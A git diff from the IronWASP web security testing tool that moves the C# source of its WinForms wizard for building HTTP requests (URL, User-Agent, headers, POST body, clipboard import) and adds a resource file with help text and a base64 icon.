System.Windows.Forms.Button Step1PreviousStepBtn; + internal System.Windows.Forms.TextBox Step1StatusTB; + private System.Windows.Forms.Label FromClipBoardLbl; + private System.Windows.Forms.LinkLabel FromClipboardLL; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.ComboBox PostBodyTypeCombo; + + } } \ No newline at end of file diff --git a/IronWASP/CreateNewRequestWizard.cs b/Iron/CreateNewRequestWizard.cs similarity index 97% rename from IronWASP/CreateNewRequestWizard.cs rename to Iron/CreateNewRequestWizard.cs index fdaf1fc..b983b5c 100644 --- a/IronWASP/CreateNewRequestWizard.cs +++ b/Iron/CreateNewRequestWizard.cs @@ -1,254 +1,254 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class CreateNewRequestWizard : Form - { - int CurrentStep = 0; - - Request RequestToTest = null; - bool FromClipboard = false; - Request ClipboardRequest = null; - - public CreateNewRequestWizard() - { - InitializeComponent(); - } - - private void CreateNewRequestWizard_Load(object sender, EventArgs e) - { - BuildUserAgentTree(); - PostBodyTypeCombo.SelectedIndex = 0; - try - { - string CB = Clipboard.GetText(); - if (CB.Length < 10000)//This limit is to avoid hanging the UI if the user has copied a huge amount of text - { - ClipboardRequest = new Request(CB, false, true); - } - if (ClipboardRequest != null) - { - FromClipBoardLbl.Visible = true; - FromClipboardLL.Visible = true; - } - } - catch - { - - } - } - - void BuildUserAgentTree() - { - UserAgentTree.BeginUpdate(); - TreeNode RootNode = UserAgentTree.Nodes.Add("User-Agents", "User-Agents Categories [ List source: http://techpatterns.com/forums/about304.html ]"); - foreach (string Category in Config.UserAgentsList.Keys) - { - try - { - TreeNode T = RootNode.Nodes.Add(Category, Category); - foreach (string Name in Config.UserAgentsList[Category].Keys) - { - try - { - T.Nodes.Add(Config.UserAgentsList[Category][Name], Name); - } - catch { } - } - } - catch { } - } - UserAgentTree.EndUpdate(); - UserAgentTree.Nodes[0].Expand(); - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void UserAgentTree_AfterSelect(object sender, TreeViewEventArgs e) - { - if (e.Node == null) return; - - if (e.Node.Level == 2) - { - SelectedUserAgentLbl.Text = e.Node.Name; - UseUserAgentCB.Checked = true; - } - else - { - SelectedUserAgentLbl.Text = ""; - UseUserAgentCB.Checked = false; - } - } - - private void CreateRequestBtn_Click(object sender, EventArgs e) - { - ShowStep1Error(""); - string Name = RequestNameTB.Text.Trim(); - if (Name.Length == 0) - { - bool Named = false; - while (!Named) - { - Name = string.Format("untitled-{0}", Interlocked.Increment(ref ManualTesting.UntitledCount)); - if (!ManualTesting.GroupSessions.ContainsKey(Name)) - { - Named = true; - } - } - } - else - { - if (ManualTesting.GroupSessions.ContainsKey(Name)) - { - ShowStep1Error("A Request group with this name already exists, pick another one."); - return; - } - } - ManualTesting.CreateNewGroupWithRequest(RequestToTest, Name, true); - this.Close(); - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (BaseTabs.SelectedIndex != CurrentStep) - { - BaseTabs.SelectTab(CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and '<- Previous Step' buttons on the bottom right and left corners of this window for navigation."); - } - } - - private void Step0NextBtn_Click(object sender, EventArgs e) - { - try - { - ShowStep0Status(""); - RequestToTest = new Request(RequestUrlTB.Text.Trim()); - if (UseUserAgentCB.Checked) - { - if (SelectedUserAgentLbl.Text.Trim().Length > 0) - { - RequestToTest.Headers.Set("User-Agent", SelectedUserAgentLbl.Text); - } - else - { - ShowStep0Error("No user-agent strings were selected"); - return; - } - } - if (UseAdditionalHeadersCB.Checked) - { - RequestToTest.Headers.Set("Accept", "*/*"); - RequestToTest.Headers.Set("Accept-Encoding", "gzip,deflate"); - RequestToTest.Headers.Set("Accept-Charset", "ISO-8859-1,utf-8"); - } - if (UsePostBodyCB.Checked) - { - if (PostBodyTB.Text.Trim().Length == 0) - { - ShowStep0Error("Post body is empty"); - return; - } - else - { - RequestToTest.Method = "POST"; - RequestToTest.BodyString = PostBodyTB.Text.Trim(); - try - { - RequestToTest.ContentType = PostBodyTypeCombo.Text; - } - catch - { - ShowStep0Error("Invalid body content-type value"); - return; - } - } - } - CurrentStep = 1; - BaseTabs.SelectTab(1); - } - catch (Exception Exp) { ShowStep0Error(string.Format("Invalid input - {0}", Exp.Message)); } - } - - void ShowStep0Status(string Text) - { - Step0StatusTB.Text = Text; - Step0StatusTB.BackColor = Color.White; - if (Text.Length == 0) - Step0StatusTB.Visible = false; - else - Step0StatusTB.Visible = true; - } - void ShowStep0Error(string Text) - { - Step0StatusTB.Text = Text; - Step0StatusTB.BackColor = Color.Red; - if (Text.Length == 0) - Step0StatusTB.Visible = false; - else - Step0StatusTB.Visible = true; - } - - void ShowStep1Error(string Text) - { - Step1StatusTB.Text = Text; - Step1StatusTB.BackColor = Color.Red; - if (Text.Length == 0) - Step1StatusTB.Visible = false; - else - Step1StatusTB.Visible = true; - } - - private void Step1PreviousStepBtn_Click(object sender, EventArgs e) - { - CurrentStep = 0; - BaseTabs.SelectTab(0); - } - - private void UseUserAgentCB_CheckedChanged(object sender, EventArgs e) - { - UserAgentTree.Enabled = UseUserAgentCB.Checked; - } - - private void UsePostBodyCB_CheckedChanged(object sender, EventArgs e) - { - PostBodyTB.Enabled = UsePostBodyCB.Checked; - PostBodyTypeCombo.Enabled = UsePostBodyCB.Checked; - } - - private void FromClipboardLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - FromClipboard = true; - RequestToTest = ClipboardRequest; - CurrentStep = 1; - BaseTabs.SelectTab(1); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class CreateNewRequestWizard : Form + { + int CurrentStep = 0; + + Request RequestToTest = null; + bool FromClipboard = false; + Request ClipboardRequest = null; + + public CreateNewRequestWizard() + { + InitializeComponent(); + } + + private void CreateNewRequestWizard_Load(object sender, EventArgs e) + { + BuildUserAgentTree(); + PostBodyTypeCombo.SelectedIndex = 0; + try + { + string CB = Clipboard.GetText(); + if (CB.Length < 10000)//This limit is to avoid hanging the UI if the user has copied a huge amount of text + { + ClipboardRequest = new Request(CB, false, true); + } + if (ClipboardRequest != null) + { + FromClipBoardLbl.Visible = true; + FromClipboardLL.Visible = true; + } + } + catch + { + + } + } + + void BuildUserAgentTree() + { + UserAgentTree.BeginUpdate(); + TreeNode RootNode = UserAgentTree.Nodes.Add("User-Agents", "User-Agents Categories [ List source: http://techpatterns.com/forums/about304.html ]"); + foreach (string Category in Config.UserAgentsList.Keys) + { + try + { + TreeNode T = RootNode.Nodes.Add(Category, Category); + foreach (string Name in Config.UserAgentsList[Category].Keys) + { + try + { + T.Nodes.Add(Config.UserAgentsList[Category][Name], Name); + } + catch { } + } + } + catch { } + } + UserAgentTree.EndUpdate(); + UserAgentTree.Nodes[0].Expand(); + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void UserAgentTree_AfterSelect(object sender, TreeViewEventArgs e) + { + if (e.Node == null) return; + + if (e.Node.Level == 2) + { + SelectedUserAgentLbl.Text = e.Node.Name; + UseUserAgentCB.Checked = true; + } + else + { + SelectedUserAgentLbl.Text = ""; + UseUserAgentCB.Checked = false; + } + } + + private void CreateRequestBtn_Click(object sender, EventArgs e) + { + ShowStep1Error(""); + string Name = RequestNameTB.Text.Trim(); + if (Name.Length == 0) + { + bool Named = false; + while (!Named) + { + Name = string.Format("untitled-{0}", Interlocked.Increment(ref ManualTesting.UntitledCount)); + if (!ManualTesting.GroupSessions.ContainsKey(Name)) + { + Named = true; + } + } + } + else + { + if (ManualTesting.GroupSessions.ContainsKey(Name)) + { + ShowStep1Error("A Request group with this name already exists, pick another one."); + return; + } + } + ManualTesting.CreateNewGroupWithRequest(RequestToTest, Name, true); + this.Close(); + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (BaseTabs.SelectedIndex != CurrentStep) + { + BaseTabs.SelectTab(CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and '<- Previous Step' buttons on the bottom right and left corners of this window for navigation."); + } + } + + private void Step0NextBtn_Click(object sender, EventArgs e) + { + try + { + ShowStep0Status(""); + RequestToTest = new Request(RequestUrlTB.Text.Trim()); + if (UseUserAgentCB.Checked) + { + if (SelectedUserAgentLbl.Text.Trim().Length > 0) + { + RequestToTest.Headers.Set("User-Agent", SelectedUserAgentLbl.Text); + } + else + { + ShowStep0Error("No user-agent strings were selected"); + return; + } + } + if (UseAdditionalHeadersCB.Checked) + { + RequestToTest.Headers.Set("Accept", "*/*"); + RequestToTest.Headers.Set("Accept-Encoding", "gzip,deflate"); + RequestToTest.Headers.Set("Accept-Charset", "ISO-8859-1,utf-8"); + } + if (UsePostBodyCB.Checked) + { + if (PostBodyTB.Text.Trim().Length == 0) + { + ShowStep0Error("Post body is empty"); + return; + } + else + { + RequestToTest.Method = "POST"; + RequestToTest.BodyString = PostBodyTB.Text.Trim(); + try + { + RequestToTest.ContentType = PostBodyTypeCombo.Text; + } + catch + { + ShowStep0Error("Invalid body content-type value"); + return; + } + } + } + CurrentStep = 1; + BaseTabs.SelectTab(1); + } + catch (Exception Exp) { ShowStep0Error(string.Format("Invalid input - {0}", Exp.Message)); } + } + + void ShowStep0Status(string Text) + { + Step0StatusTB.Text = Text; + Step0StatusTB.BackColor = Color.White; + if (Text.Length == 0) + Step0StatusTB.Visible = false; + else + Step0StatusTB.Visible = true; + } + void ShowStep0Error(string Text) + { + Step0StatusTB.Text = Text; + Step0StatusTB.BackColor = Color.Red; + if (Text.Length == 0) + Step0StatusTB.Visible = false; + else + Step0StatusTB.Visible = true; + } + + void ShowStep1Error(string Text) + { + Step1StatusTB.Text = Text; + Step1StatusTB.BackColor = Color.Red; + if (Text.Length == 0) + Step1StatusTB.Visible = false; + else + Step1StatusTB.Visible = true; + } + + private void Step1PreviousStepBtn_Click(object sender, EventArgs e) + { + CurrentStep = 0; + BaseTabs.SelectTab(0); + } + + private void UseUserAgentCB_CheckedChanged(object sender, EventArgs e) + { + UserAgentTree.Enabled = UseUserAgentCB.Checked; + } + + private void UsePostBodyCB_CheckedChanged(object sender, EventArgs e) + { + PostBodyTB.Enabled = UsePostBodyCB.Checked; + PostBodyTypeCombo.Enabled = UsePostBodyCB.Checked; + } + + private void FromClipboardLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + FromClipboard = true; + RequestToTest = ClipboardRequest; + CurrentStep = 1; + BaseTabs.SelectTab(1); + } + } +} diff --git a/Iron/CreateNewRequestWizard.resx b/Iron/CreateNewRequestWizard.resx new file mode 100644 index 0000000..a9c67da --- /dev/null +++ b/Iron/CreateNewRequestWizard.resx @@ -0,0 +1,1929 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + You can create a request by entering the URL below. + +Once this process is complete you will be shown the Headers and Body of the HTTP request you created. You can then send that request to the server. + + + + The Manual Testing section can contain multiple requests and so naming requests makes it easy to identify them. + +When you click 'Create Request' you will be shown the HTTP Headers and Body of the request you created in previous section. You can edit it further or send it to the server and observe the response. + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + 